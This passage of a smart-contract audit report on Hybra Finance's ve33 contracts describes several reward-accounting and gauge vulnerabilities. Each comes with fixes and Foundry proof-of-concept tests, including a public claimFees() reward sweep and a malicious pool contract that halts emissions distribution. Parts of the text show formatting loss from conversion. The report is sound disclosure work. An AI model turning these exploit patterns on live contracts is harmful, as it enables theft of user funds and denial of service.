_periodFinish = epochEndTimestamp;
}
}
contract C4PoC is C4PoCTestbed { function setUp() public override { super.setUp(); }
function test_PoC_RolloverRewardsAreLost() public {
// Step 1: Create a CL pool and necessary mock contracts for the test.
address token0 = WETH < USDC ? WETH : USDC;
address token1 = WETH < USDC ? USDC : WETH;
uint256 amount0ToMint = 4000 * 1e6;
uint256 amount1ToMint = 1 ether;
MockERC20(token0).mint(deployer, amount0ToMint);
MockERC20(token1).mint(deployer, amount1ToMint);
vm.prank(deployer);
MockERC20(token0).approve(address(nonfungiblePositionManager), type(uint256).max);
vm.prank(deployer);
MockERC20(token1).approve(address(nonfungiblePositionManager), type(uint256).max);
vm.startPrank(deployer);
nonfungiblePositionManager.mint(INonfungiblePositionManager.MintParams({
token0: token0, token1: token1, tickSpacing: 2000,
tickLower: -200000, tickUpper: 200000,
amount0Desired: amount0ToMint,
amount1Desired: amount1ToMint,
amount0Min: 0, amount1Min: 0,
recipient: deployer, deadline: block.timestamp,
sqrtPriceX96: 2505414483750479311864138015344742
}));
vm.stopPrank();
ICLPool clPool = ICLPool(poolFactory.getPool(token0, token1, 2000));
assertTrue(address(clPool) != address(0), "Pool creation failed");
// Step 2: Deploy our mock gauge and authorize it on the pool.
// We use `vm.store` to bypass complex authorization mechanisms and directly
// write our mock gauge's address into the pool's `gauge` storage slot (slot 3).
MockERC20 rewardToken = new MockERC20("RewardToken", "RWD", 18);
address rewardDistributor = makeAddr("rewardDistributor");
MockVulnerableCLGauge_Rollover mockGauge = new MockVulnerableCLGauge_Rollover(
address(clPool), address(rewardToken), rewardDistributor
);
bytes32 GAUGE_STORAGE_SLOT = bytes32(uint256(3));
vm.store(
address(clPool),
GAUGE_STORAGE_SLOT,
bytes32(uint256(uint160(address(mockGauge))))
);
assertEq(clPool.gauge(), address(mockGauge));
uint256 reward1_to_be_lost = 100 ether;
uint256 reward2_retained = 50 ether;
rewardToken.mint(rewardDistributor, reward1_to_be_lost + reward2_retained);
vm.prank(rewardDistributor);
rewardToken.approve(address(mockGauge), type(uint256).max);
// Step 3: EPOCH 1: Create a rollover situation
// PRE-CONDITION: The pool has 0 staked liquidity, which is essential for this PoC
// as it guarantees 100% of the undistributed reward will become rollover.
vm.prank(rewardDistributor);
mockGauge.notifyRewardAmount(address(rewardToken), reward1_to_be_lost);
vm.warp(clPool.periodFinish() + 1);
// Distribute 50 ether, triggering the vulnerability.
vm.prank(rewardDistributor);
mockGauge.notifyRewardAmount(address(rewardToken), reward2_retained);
// Advance time and notify with 0. This finalizes the loss.
vm.warp(clPool.periodFinish() + 1);
vm.prank(rewardDistributor);
mockGauge.notifyRewardAmount(address(rewardToken), 0);
// Step 4: ASSERTION & PROOF
uint256 finalGaugeBalance = rewardToken.balanceOf(address(mockGauge));
uint256 finalPoolReserve = clPool.rewardReserve();
uint256 lostAmount = finalGaugeBalance - finalPoolReserve;
console2.log("--- Rollover Bug PoC Results ---");
console2.log("Physical Token Balance in Gauge:", finalGaugeBalance);
console2.log("Accounted Reward Reserve in Pool:", finalPoolReserve);
console2.log("Amount of Stuck/Lost Tokens:", lostAmount);
// Core Proof: The pool's final accounted reserve should only reflect the SECOND reward.
// The first 100 ether reward has vanished from its books.
uint256 dustTolerance = 1 ether; // A generous tolerance of 1 full token
assertApproxEqAbs(
finalPoolReserve,
reward2_retained,
dustTolerance,
"BUG: Pool reserve should be approximately 50 ether"
);
// Final check: The amount of lost funds must equal the first reward.
assertApproxEqAbs(
lostAmount,
reward1_to_be_lost,
dustTolerance,
"BUG: The lost amount should be approximately 100 ether"
);
}
}
</details>
**[Hybra Finance mitigated](https://github.com/code-423n4/2025-11-hybra-finance-mitigation?tab=readme-ov-file#mitigations-of-high--medium-severity-issues):**
> fix - S-36 ClaimFees Steals Staking Rewards
> fix - S-841 rollover rewardRate calcuate
> fix - S-645 Missing unchecked block in Gauge Dependent Library Will Cause Freezing of Reward Calculations
**Status:** Mitigation confirmed. Full details in the [mitigation review reports from niffylord, rayss, and ZanyBonzy](https://code4rena.com/audits/2025-11-hybra-finance-mitigation-review/submissions/S-21).
***
## [[M-06] `ClaimFees` steals staking rewards](https://code4rena.com/audits/2025-10-hybra-finance/submissions/S-36)
*Submitted by [0xSeer](https://code4rena.com/audits/2025-10-hybra-finance/submissions/S-36), also found by [EtherEngineer](https://code4rena.com/audits/2025-10-hybra-finance/submissions/S-730), [hecker\_trieu\_tien](https://code4rena.com/audits/2025-10-hybra-finance/submissions/S-288), [ibrahimatix0x01](https://code4rena.com/audits/2025-10-hybra-finance/submissions/S-63), [maze](https://code4rena.com/audits/2025-10-hybra-finance/submissions/S-365), [piki](https://code4rena.com/audits/2025-10-hybra-finance/submissions/S-58), [saraswati](https://code4rena.com/audits/2025-10-hybra-finance/submissions/S-526), [Xander](https://code4rena.com/audits/2025-10-hybra-finance/submissions/S-167), and [zcai](https://code4rena.com/audits/2025-10-hybra-finance/submissions/S-672)*
`CLGauge/GaugeCL.sol` [#L304-L335](https://github.com/code-423n4/2025-10-hybra-finance/blob/6299bfbc089158221e5c645d4aaceceea474f5be/ve33/contracts/CLGauge/GaugeCL.sol#L304-L335)
### Description
The `_claimFees` function is designed to collect accrued trading fees from the underlying concentrated liquidity pool and transfer them to a designated `internal_bribe` contract. The function determines the amount of fees to transfer by checking the gauge's *entire* token balance for `token0` and `token1` after calling `clPool.collectFees()`.
The critical vulnerability lies in this assumption. The contract has another mechanism to receive tokens: the `notifyRewardAmount` function, which is called by the `DISTRIBUTION` contract to fund the gauge with `rewardToken` for stakers.
If the `rewardToken` is the same as either `token0` or `token1` of the pool (a common scenario in DeFi, e.g., rewarding a WETH/USDC pool with WETH), the `claimFees` function will incorrectly identify the staking rewards as trading fees. Because `claimFees` is a public function with no access control, anyone can call it right after rewards are deposited, causing all reward funds to be swept to the `internal_bribe` contract.
### Impact
This vulnerability leads to a direct loss of funds for users who have staked their NFTs in the gauge. All `rewardToken`s intended for stakers during an epoch can be permanently redirected and stolen from them. This breaks the core incentive mechanism of the gauge.
Furthermore, the gauge's internal accounting for rewards (`rewardRate`, `_periodFinish`) becomes completely desynchronized from its actual token balance. This can lead to a secondary Denial-of-Service (DoS) condition, as future calls to `notifyRewardAmount` may fail on the `require(rewardRate <= contractBalance / epochTimeRemaining, ...)` check, preventing the gauge from being funded for subsequent epochs.
### Attack Scenario
1. A gauge is set up for a WETH/USDC pool, with WETH as the `rewardToken`.
2. The `DISTRIBUTION` contract calls `notifyRewardAmount`, transferring 10 WETH to the gauge as staking rewards for the upcoming week.
3. An attacker immediately calls the public `claimFees()` function.
4. The function calls `clPool.collectFees()`, which might transfer a small amount of WETH fees (e.g., 0.1 WETH) to the gauge.
5. The function then reads the gauge's total WETH balance, which is now 10.1 WETH (10 WETH from rewards + 0.1 WETH from fees).
6. It proceeds to transfer the entire 10.1 WETH to the `internal_bribe` contract.
7. The 10 WETH in rewards are now lost to the stakers. The gauge has no funds to pay out the promised rewards.
### Recommendation
The `_claimFees` function must be modified to only transfer the fees that are explicitly collected by the `clPool.collectFees()` call, rather than sweeping the contract's entire balance. This can be achieved by measuring the contract's balance of `token0` and `token1` immediately before and after the `collectFees()` call and only transferring the difference.
```solidity
function _claimFees() internal returns (uint256 claimed0, uint256 claimed1) {
if (!isForPair) {
return (0, 0);
}
address _token0 = clPool.token0();
address _token1 = clPool.token1();
uint256 balance0Before = IERC20(_token0).balanceOf(address(this));
uint256 balance1Before = IERC20(_token1).balanceOf(address(this));
clPool.collectFees();
uint256 balance0After = IERC20(_token0).balanceOf(address(this));
uint256 balance1After = IERC20(_token1).balanceOf(address(this));
claimed0 = balance0After - balance0Before;
claimed1 = balance1After - balance1Before;
if (claimed0 > 0) {
IERC20(_token0).safeApprove(internal_bribe, 0);
IERC20(_token0).safeApprove(internal_bribe, claimed0);
IBribe(internal_bribe).notifyRewardAmount(_token0, claimed0);
}
if (claimed1 > 0) {
IERC20(_token1).safeApprove(internal_bribe, 0);
IERC20(_token1).safeApprove(internal_bribe, claimed1);
IBribe(internal_bribe).notifyRewardAmount(_token1, claimed1);
}
if (claimed0 > 0 || claimed1 > 0) {
emit ClaimFees(msg.sender, claimed0, claimed1);
}
}
Additionally, consider adding access control to the claimFees function (e.g., onlyOwner or a dedicated keeper role) to prevent potential griefing attacks and ensure it is called under intended conditions.
Proof of concept
// SPDX-License-Identifier: MIT
pragma solidity 0.8.13;
import "forge-std/Test.sol";
import {C4PoCTestbed} from "./C4PoCTestbed.t.sol";
import {GaugeCL} from "../contracts/CLGauge/GaugeCL.sol";
import {ICLPool} from "../contracts/CLGauge/interface/ICLPool.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
/**
* @title C4PoC_Findings
* @notice Proof of Concept test for finding #3.
* @dev All available variables from C4PoCTestbed are available here.
*/
contract C4PoC_Findings is C4PoCTestbed {
function setUp() public override {
super.setUp();
// The BribeFactoryV3 is deployed but not initialized in the testbed.
// We must initialize it here to set the owner, allowing createBribe to be called.
bribeFactoryV3.initialize(address(voter), address(gaugeManager), address(permissionsRegistry), address(tokenHandler));
}
/*//////////////////////////////////////////////////////////////
FINDING: ClaimFees Steals Staking Rewards
//////////////////////////////////////////////////////////////*/
function test_PoC_Finding3_ClaimFeesStealsStakingRewards() public {
// 1. SETUP: Create actors, tokens, and contracts.
address attacker = makeAddr("attacker");
address clPoolAddress = makeAddr("clPoolMock");
// Use the testbed's `hybr` as token0/rewardToken and `rewardHybr` as token1.
// This avoids deploying a new MockERC20.
address token1 = address(rewardHybr);
// Create a real bribe contract using the factory from the testbed.
address internalBribe = bribeFactoryV3.createBribe(address(this), address(hybr), token1, "cl");
// Deploy the vulnerable GaugeCL contract.
GaugeCL gauge = new GaugeCL(
address(hybr), // _rewardToken (same as token0)
address(rewardHybr),
address(votingEscrow),
clPoolAddress,
address(rewardsDistributor),
internalBribe,
address(0), // _external_bribe
true, // _isForPair = true is required for _claimFees to execute
address(clNonfungiblePositionManager),
address(0) // _factory
);
// Define reward and fee amounts.
uint256 rewardsAmount = 10 ether;
uint256 feesAmount = 0.1 ether;
// 2. MOCKING: Set up behavior for the mock Concentrated Liquidity Pool.
vm.mockCall(clPoolAddress, abi.encodeWithSelector(bytes4(keccak256("token0()"))), abi.encode(address(hybr)));
vm.mockCall(clPoolAddress, abi.encodeWithSelector(bytes4(keccak256("token1()"))), abi.encode(token1));
// Mock collectFees to do nothing, as we will manually transfer fees to simulate the state.
vm.mockCall(clPoolAddress, abi.encodeWithSelector(bytes4(keccak256("collectFees()"))), abi.encode(uint128(0), uint128(0)));
// Mock other functions that might be called by notifyRewardAmount
vm.mockCall(clPoolAddress, abi.encodeWithSelector(bytes4(keccak256("updateRewardsGrowthGlobal()"))), abi.encode());
vm.mockCall(clPoolAddress, abi.encodeWithSelector(bytes4(keccak256("rollover()"))), abi.encode(uint256(0)));
vm.mockCall(clPoolAddress, abi.encodeWithSelector(bytes4(keccak256("syncReward(uint256,uint256,uint256)"))), abi.encode());
// 3. SCENARIO: The DISTRIBUTION contract deposits staking rewards into the gauge.
hybr.transfer(address(rewardsDistributor), rewardsAmount);
vm.startPrank(address(rewardsDistributor));
hybr.approve(address(gauge), rewardsAmount);
gauge.notifyRewardAmount(address(hybr), rewardsAmount);
vm.stopPrank();
// Pre-exploit verification: Gauge should hold only the rewards at this point.
assertEq(hybr.balanceOf(address(gauge)), rewardsAmount, "Pre-exploit setup failed: Gauge should hold the staking rewards");
assertEq(hybr.balanceOf(internalBribe), 0, "Pre-exploit setup failed: Bribe contract should be empty");
// Manually transfer fees to the gauge to simulate a state where fees have been collected
// but not yet claimed. This puts the contract in the vulnerable state.
hybr.transfer(address(gauge), feesAmount);
assertEq(hybr.balanceOf(address(gauge)), rewardsAmount + feesAmount, "Vulnerable state setup failed: Gauge should hold rewards + fees");
// 4. EXPLOIT: Attacker calls the public, permissionless claimFees() function.
vm.prank(attacker);
gauge.claimFees();
// 5. ASSERTION: Verify the exploit's success.
uint256 finalBribeBalance = hybr.balanceOf(internalBribe);
uint256 totalStolenAmount = rewardsAmount + feesAmount;
// The gauge is now empty, as all its token0 balance (rewards + newly collected fees) was swept.
assertEq(hybr.balanceOf(address(gauge)), 0, "Exploit check failed: Gauge was not drained of all token0");
// The internalBribe contract received ALL funds: both rewards and fees.
string memory successMessage = "EXPLOIT SUCCESSFUL: Rewards intended for stakers were stolen by claimFees() and sent to the bribe contract.";
assertEq(finalBribeBalance, totalStolenAmount, successMessage);
}
}
fix - S-36 ClaimFees Steals Staking Rewards fix - S-841 rollover rewardRate calcuate fix - S-645 Missing unchecked block in Gauge Dependent Library Will Cause Freezing of Reward Calculations
Status: Mitigation confirmed. Full details in the mitigation review reports from niffylord, rayss, and ZanyBonzy.
[M-07] Claiming rewards in GovernanceHYBR will always revert
Submitted by OpaBatyo, also found by 0xvd and harry
GovernanceHYBR.sol #L370
Details
When the operator claims rewards in GovernanceHYBR.sol, the function attempts to fetch the voted pools aray from the voter contract:
// Claim bribes from voted pools
address[] memory votedPools = IVoter(voter).poolVote(veTokenId);
This line will always revert and the function is broken. It attempts to fetch the addresses array from a mapping in VoterV3.sol:
mapping(uint256 => address[]) public poolVote;
This will not work - the way solidity auto-generates a getter for a mapping is using an id and index. Although this exists in the interface, it is not used correctly in the function to claim itself:
function poolVote(uint id, uint _index) external view returns(address _pair); // correct way to be fetched
But the way it’s fetched in claimRewards() will not work since solidity cannot return an addresses array using only the tokenId of the mapping.
Impact
Function is completely broken.
Mitigation
Add a getter function in VoterV3.sol that returns an array of addresses and use that instead when claiming rewards:
function getPoolVote(uint tokenId) external view returns (address[] memory) {
return poolVote[tokenId];
}
Proof of concept
- Copy
MockERC20.solfromcl/contracts/mocks/tove33/contracts/test/ - Change
MockERC20.solsolc version topragma solidity ^0.8.0;for tests to run and import it inC4PoCTestbed.t.sol -
Paste following in
C4PoCTestbed.t.solcontract level:contract C4PoCTestbed is Test, CLContractsImporter { ... address public USDC; address public USDT; address public DAI; address public gHybrOperator; -
Paste the following function to
C4PoCTestbed.t.solto initialize parameters.function lastPhase() internal { // Deploy USDC, USDT, DAI, and WETH USDC = address(new MockERC20("USDC", "USDC", 6)); USDT = address(new MockERC20("USDT", "USDT", 6)); DAI = address(new MockERC20("DAI", "DAI", 18)); // We need to initialize Bribe Factory properly for the tests to run bribeFactoryV3.initialize(address(voter), address(gaugeManager), address(permissionsRegistry), address(tokenHandler)); // We need to set roles so that we can whitelist the mock tokens permissionsRegistry.setRoleFor(address(team), "GOVERNANCE"); // Whitelisting the mock tokens vm.startPrank(address(team)); tokenHandler.whitelistToken(address(USDC)); tokenHandler.whitelistToken(address(USDT)); tokenHandler.whitelistToken(address(DAI)); tokenHandler.whitelistConnector(address(USDC)); tokenHandler.whitelistConnector(address(USDT)); tokenHandler.whitelistConnector(address(DAI)); vm.stopPrank(); // Creating the pools address pairA = thenaFiFactory.createPair(address(USDC), address(USDT), true); address pairB = thenaFiFactory.createPair(address(USDC), address(DAI), true); // Creating the gauges gaugeManager.createGauge(pairA, 0); gaugeManager.createGauge(pairB, 0); // Set Voter and operator on GrowthHYBR gHybr.setVoter(address(voter)); gHybr.setOperator(address(gHybrOperator)); } -
Paste the following in the
C4PoCTestbed.t.sol’ssetUp()functionfunction setUp() public virtual { ... gHybrOperator = makeAddr("operator"); ... lastPhase(); } -
Add this test to
C4PoC.t.solfunction testMappingRevert() external { // Deal Alice tokens and deposit address alice = makeAddr("alice"); deal(address(hybr), address(alice), 100e18); vm.startPrank(alice); hybr.approve(address(gHybr), type(uint256).max); gHybr.deposit(100e18, address(alice)); // Warp 1 week vm.warp(block.timestamp + 1 weeks + 301); // Voting for pools with gHYBR NFT address[] memory poolVotes = thenaFiFactory.pairs(); uint256[] memory weights = new uint256[](poolVotes.length); weights[0] = 50; weights[1] = 50; vm.startPrank(address(gHybrOperator)); gHybr.vote(poolVotes, weights); // Warp more time vm.warp(block.timestamp + 48 hours); // Attempt to claim rewards vm.startPrank(address(gHybrOperator)); vm.expectRevert(); gHybr.claimRewards(); }Run with
forge test --mt testMappingRevert -vvvv
fixed Claiming rewards in GovernanceHYBR
Status: Mitigation confirmed. Full details in the mitigation review reports from niffylord, rayss, and ZanyBonzy.
[M-08] Incorrect voting power calculation when create_lock and increase_amount are called in the same transaction
Submitted by dreamcoder, also found by fullstop
VotingEscrow.sol #L760
Summary
In VotingEscrow.sol:
function _checkpoint(
uint _tokenId,
IVotingEscrow.LockedBalance memory old_locked,
IVotingEscrow.LockedBalance memory new_locked
) internal {
// ...
if (_tokenId != 0) {
// ...
uint user_epoch = votingBalanceLogicData.user_point_epoch[_tokenId] + 1;
votingBalanceLogicData.user_point_epoch[_tokenId] = user_epoch;
u_new.ts = block.timestamp;
u_new.blk = block.number;
votingBalanceLogicData.user_point_history[_tokenId][user_epoch] = u_new;
}
}
If the second _checkpoint runs in the same transaction as the first _checkpoint, the function creates a new epoch even though both locks has the same timestamp. As a result, when calculating balanceOfNFT, the second lock is ignored. This means the voting power is computed using the old lock amount, and the newly added amount is not included.
Therefore, voting power is calculated incorrectly and users will lose rewards when the functions that call checkpoint (increaseamount, depositfor, createlock, merge, split etc) are executed within the same transaction.
Recommended mitigation steps
function _checkpoint(
uint _tokenId,
IVotingEscrow.LockedBalance memory old_locked,
IVotingEscrow.LockedBalance memory new_locked
) internal {
// ...
if (_tokenId != 0) {
// ...
- uint user_epoch = votingBalanceLogicData.user_point_epoch[_tokenId] + 1;
- votingBalanceLogicData.user_point_epoch[_tokenId] = user_epoch;
- u_new.ts = block.timestamp;
- u_new.blk = block.number;
- votingBalanceLogicData.user_point_history[_tokenId][user_epoch] = u_new;
+ uint user_epoch = votingBalanceLogicData.user_point_epoch[_tokenId];
+ if (user_epoch > 0 && votingBalanceLogicData.user_point_history[_tokenId][user_epoch].ts == block.timestamp) {
// overwrite the latest point (same timestamp)
+ u_new.ts = block.timestamp;
+ u_new.blk = block.number;
+ votingBalanceLogicData.user_point_history[_tokenId][user_epoch] = u_new;
+ } else {
// append new point
+ user_epoch = user_epoch + 1;
+ votingBalanceLogicData.user_point_epoch[_tokenId] = user_epoch;
+ u_new.ts = block.timestamp;
+ u_new.blk = block.number;
+ votingBalanceLogicData.user_point_history[_tokenId][user_epoch] = u_new;
}
}
}
Proof of concept
In `/ve33/test/C4PoC.t.sol`:// SPDX-License-Identifier: MIT
pragma solidity 0.8.13;
import "forge-std/Test.sol";
import {C4PoCTestbed} from "./C4PoCTestbed.t.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {Bribe} from "../contracts/Bribes.sol";
contract MockBribeToken is ERC20 {
constructor(string memory name, string memory symbol) ERC20(name, symbol) {
_mint(msg.sender, 1_000_000e18);
}
function mint(address to, uint256 amount) external {
_mint(to, amount);
}
}
contract C4PoC is C4PoCTestbed {
function setUp() public override {
super.setUp();
}
function test_incorrect_voting_power_increase_amount_in_same_transaction() public {
uint256 WEEK = 1800 + 301;
vm.warp(3 * WEEK);
// Actors
address alice = vm.addr(100);
address bob = vm.addr(200);
uint256 lockAmount = 1_000e18;
uint256 bribeReward = 500e18;
// Bribe Setup
MockBribeToken bribeToken = new MockBribeToken("Bribe Coin", "BC");
address bribeTokenAddress = address(bribeToken);
bribeFactoryV3.initialize(address(voter), address(gaugeManager), address(permissionsRegistry), address(tokenHandler));
permissionsRegistry.setRoleFor(deployer, "GOVERNANCE");
vm.startPrank(deployer);
tokenHandler.whitelistToken(address(bribeToken));
tokenHandler.whitelistToken(address(hybr));
tokenHandler.whitelistConnector(address(hybr));
tokenHandler.whitelistConnector(address(bribeToken));
vm.stopPrank();
address pool = thenaFiFactory.createPair(address(hybr), address(bribeToken), false);
(address _gauge, address _internal_bribe, address _external_bribe) = gaugeManager.createGauge(address(pool), 0);
Bribe bribeContract = Bribe(_internal_bribe);
address bribeAddress = _internal_bribe;
// Fund Alice and bob
vm.startPrank(deployer);
hybr.transfer(alice, lockAmount * 2);
hybr.transfer(bob, lockAmount);
vm.stopPrank();
uint256 lockDuration = 365 * 86400; // 1 years in seconds
uint256 lockEnd = block.timestamp + lockDuration;
//create lock
//Alice locks lockAmount /2 and increase lockAmount / 2, so total = lockAmount
vm.startPrank(alice);
hybr.approve(address(votingEscrow), lockAmount);
uint256 aliceTokenId = votingEscrow.create_lock(lockAmount / 2, lockEnd);
votingEscrow.increase_amount(aliceTokenId, lockAmount / 2);
//Bob locks lockAmount lockAmount, so total = lockAmount
vm.stopPrank();
vm.startPrank(bob);
hybr.approve(address(votingEscrow), lockAmount);
uint256 bobTokenId = votingEscrow.create_lock(lockAmount, lockEnd);
vm.stopPrank();
uint256 finalAliceBalance = bribeToken.balanceOf(alice);
uint256 finalBobBalance = bribeToken.balanceOf(bob);
// voting
address[] memory pools = new address[](1);
pools[0] = address(pool);
uint256[] memory weights = new uint256[](1);
weights[0] = 10000;
vm.prank(alice);
voter.vote(aliceTokenId, pools, weights);
vm.prank(bob);
voter.vote(bobTokenId, pools, weights);
// bribe reward
vm.prank(deployer);
bribeToken.mint(deployer, bribeReward);
bribeToken.approve(bribeAddress, bribeReward);
vm.prank(deployer);
bribeContract.notifyRewardAmount(bribeTokenAddress, bribeReward);
vm.warp(block.timestamp + lockDuration + 10200);
address[][] memory tokens = new address[][](1);
tokens[0] = new address[](1);
tokens[0][0] = bribeTokenAddress;
address[] memory bribes = new address[](1);
bribes[0] = address(bribeContract);
vm.prank(alice);
gaugeManager.claimBribes(bribes, tokens, aliceTokenId);
vm.prank(bob);
gaugeManager.claimBribes(bribes, tokens, bobTokenId);
finalAliceBalance = bribeToken.balanceOf(alice);
finalBobBalance = bribeToken.balanceOf(bob);
(int128 amount1, ,) = votingEscrow.locked(aliceTokenId);
(int128 amount2, ,) = votingEscrow.locked(bobTokenId);
console.log("Alice's lock balance = ", amount1);
console.log("Bob's lock balance = ", amount2);
console.log("Alice's Final Bribe Balance = ", finalAliceBalance);
console.log("Bob's Final Bribe Balance = ", finalBobBalance);
}
}
Run command
forge test --mt test_incorrect_voting_power_increase_amount_in_same_transaction -vv
Output:
Alice's lock balance = 1000000000000000000000
Bob's lock balance = 1000000000000000000000
Alice's Final Bribe Balance = 166666666666666666666
Bob's Final Bribe Balance = 333333333333333333333
As result shows, both users have the same lock balance, but Alice received less reward by incorrect power voting calculation.
S-635 Fix voting power when createlock + increaseamount in same tx Ensure correct voting power calculation when createlock and increaseamount are called in the same transaction. S-470 Penalty Mechanism for PartnerNFT
Status: Mitigation confirmed. Full details in the mitigation review reports from niffylord, rayss, and ZanyBonzy.
[M-09] CL gauge accepts unverified pools, allowing malicious pool to brick distribution
Submitted by niffylord, also found by adriansham99, blokfrank, ChainSentry, freescore, InvarianteX, mbuba666, Nyxaris, omeiza, piki, PotEater, Vagner, Waze, whiterabbit, and Wojack
This issue was also found by V12.
GaugeManager.sol#L165-L189GaugeManager.sol#L185-L189GaugeManager.sol#L197-L201GaugeCL.sol#L239-L246
Summary
When creating concentrated-liquidity (CL) gauges, GaugeManager._createGauge() never verifies that the provided pool address is a genuine CL pool deployed by the trusted factory. Any contract that exposes token0()/token1() and passes token whitelist checks is accepted. GaugeCL later calls untrusted pool methods (e.g., updateRewardsGrowthGlobal()), so a malicious “pool” can revert and permanently brick emissions distribution once voted.
Impact
- Unprivileged actor creates a fake CL pool and a gauge for it. When any veNFT votes for the pool,
GaugeManager.distribute*()reverts viaGaugeCL.notifyRewardAmount(), halting rewards for all pools until governance kills the malicious gauge. - Operational liveness risk; automation for distribution breaks. Emissions accounting stalls and requires manual intervention.
Root Cause
The vulnerability exists at line 181-184 of GaugeManager.sol where CL pools bypass factory verification:
if(_gaugeType == 0){
isPair = IPairFactory(_factory).isPair(_pool); // ✅ Standard pairs ARE verified
}
if(_gaugeType == 1) {
// removed due to code size
// require(_pool_hyper == _pool_factory, 'wrong tokens');
isPair = true; // ❌ CL pools NOT verified - just set to true!
}
Critical Evidence: The inline comment // removed due to code size reveals that developers were aware that proper validation should exist but deliberately removed it to save bytecode. The commented-out code shows the intended check was comparing pool addresses from factory.
This creates a dangerous inconsistency:
- Standard pairs (_gaugeType == 0): Properly validated via
IPairFactory.isPair(_pool) - CL pools (_gaugeType == 1): Accept ANY contract implementing
token0()/token1()- no factory verification
Detailed locations:
- GaugeManager accepts any
_poolfor_gaugeType == 1and setsisPair = truewithout validation: https://github.com/code-423n4/2025-10-hybra-finance/blob/main/ve33/contracts/GaugeManager.sol#L165-L189 - GaugeCL trusts the pool and calls into it on distribution: https://github.com/code-423n4/2025-10-hybra-finance/blob/main/ve33/contracts/CLGauge/GaugeCL.sol#L239-L246
Recommended Mitigation
- Enforce provenance: require
_poolto originate from the approved CL factory (e.g.,ICLFactory(_pairFactoryCL).getPool(token0, token1, tickSpacing) == _pool) before gauge creation. - Alternatively, restrict CL gauge creation to governance and only for pools discovered via the factory.
- Optionally, quarantine failing gauges in
distribute*via try/catch and return their claimable emissions to the minter to preserve global liveness.
Proof of concept
Run the included Foundry test, which deploys a malicious CL pool that reverts in `updateRewardsGrowthGlobal()` and shows distribution bricking after voting.CLI:
- forge test —match-path ve33/test/GaugeManagerMaliciousPool.t.sol —match-test testMaliciousCLPoolBlocksDistribution -vvv
Expected: gaugeManager.distributeAll() reverts with “Malicious pool blocks reward update”.
PoC Code (excerpt from ve33/test/GaugeManagerMaliciousPool.t.sol):
// SPDX-License-Identifier: MIT
pragma solidity 0.8.13;
import "forge-std/Test.sol";
import "./C4PoCTestbed.t.sol";
import "../contracts/libraries/HybraTimeLibrary.sol";
contract MaliciousCLPool {
address public immutable tokenA;
address public immutable tokenB;
address public gauge;
address public positionManager;
constructor(address _tokenA, address _tokenB) {
tokenA = _tokenA;
tokenB = _tokenB;
}
function token0() external view returns (address) { return tokenA; }
function token1() external view returns (address) { return tokenB; }
function setGaugeAndPositionManager(address _gauge, address _nfpm) external { gauge = _gauge; positionManager = _nfpm; }
function updateRewardsGrowthGlobal() external pure { revert("Malicious pool blocks reward update"); }
function getRewardGrowthInside(int24, int24, uint256) external pure returns (uint256) { return 0; }
function rewardGrowthGlobalX128() external pure returns (uint256) { return 0; }
function rollover() external pure returns (uint256) { return 0; }
function stakedLiquidity() external pure returns (uint128) { return 0; }
function lastUpdated() external view returns (uint32) { return uint32(block.timestamp); }
function syncReward(uint256, uint256, uint256) external {}
function stake(int128, int24, int24, bool) external {}
function collectFees() external {}
function gaugeFees() external pure returns (uint256, uint256) { return (0, 0); }
}
contract GaugeManagerMaliciousPoolTest is C4PoCTestbed {
MaliciousCLPool internal maliciousPool;
function setUp() public override {
super.setUp();
maliciousPool = new MaliciousCLPool(address(hybr), address(new ERC20("Mock", "M")));
// whitelist tokens and connector omitted for brevity (done in full test)
}
function _advanceToVotingWindow() internal {
uint256 epochStart = HybraTimeLibrary.epochStart(block.timestamp);
uint256 voteStart = HybraTimeLibrary.epochVoteStart(epochStart);
if (block.timestamp <= voteStart) vm.warp(voteStart + 1);
}
function _advanceEpoch() internal {
uint256 nextEpoch = HybraTimeLibrary.epochNext(block.timestamp);
vm.warp(nextEpoch + 1);
}
function testMaliciousCLPoolBlocksDistribution() public {
(address gauge,,) = gaugeManager.createGauge(address(maliciousPool), 1);
assertTrue(gaugeManager.isGauge(gauge));
uint256 lockAmount = 1e21;
hybr.approve(address(votingEscrow), lockAmount);
uint256 tokenId = votingEscrow.create_lock(lockAmount, 4 weeks);
_advanceToVotingWindow();
address[] memory pools = new address[](1);
pools[0] = address(maliciousPool);
uint256[] memory weights = new uint256[](1);
weights[0] = 100;
voter.vote(tokenId, pools, weights);
_advanceEpoch();
vm.expectRevert("Malicious pool blocks reward update");
gaugeManager.distributeAll();
}
}
Added access control: only the GaugeManager can call the GaugeFactory to create gauges.
Status: Unmitigated. Full details in the mitigation review reports from niffylord and ZanyBonzy.
Low Risk and Non-Critical Issues
For this audit, 45 reports were submitted by wardens detailing low risk and non-critical issues. The report highlighted below by rayss received the top score from the judge.
The following wardens also submitted reports: 0xkhwarix, 0xki, 0xnija, 0xsai, albahaca, Almanax, ARMoh, asotu3, baccarat, Bale, cheatc0d3, ciphermalware, dee24, dmdg321, EtherEngineer, francoHacker, freescore, fromeo_016, Gujarati07, Harisuthan, hypna, IvanAlexandur, jerry0422, johnyfwesh, K42, kmkm, Mathriel, maze, mbuba666, newspacexyz, niffylord, oct0pwn, osok, PolarizedLight, psyone, reidnerFM, Sancybars, Silverwind, Sourav_DEV, Sparrow, valarislife, winnerz, ZanyBonzy, and zcai.
QA report by rayss
The report consists of low-severity risk issues and a few non-critical issues in the end.
Findings Overview
| Label | Description | Severity |
|---|---|---|
| L‑01 | Permanent Denial of Service in collectAllProtocolFees() | Low |
| L‑02 | It is Possible to Create a Gauge with rewardToken = 0x0 and Can Permanently Lock User’s Nft | Low |
| L‑03 | Protocol loss: Unrecoverable Dust Locked Due to Incorrect Decrement Before Transfer | Low |
| L‑04 | Incorrect Time Constants in Withdrawal Window Logic | Low |
| L‑05 | Split Restriction Bypass via NFT Transfer to Allowed User | Low |
| L‑06 | transferFrom() breaks erc20 compliance | Low |
| L‑07 | previewAvailable() view function can be dosed | Low |
| L‑08 | User’s rewards are slowly depleted on ever deposit/getReward function called in GaugeV2 | Low |
| I‑01 | OnReward() does not exist | Informational |
| NC‑01 | Incorrect require statement in setInternalBribe() | Non-Critical |
| NC‑02 | Redundant maturity check in _withdraw() | Non-Critical |
L-01: Permanent Denial of Service in collectAllProtocolFees()
In the CLFactory contract,
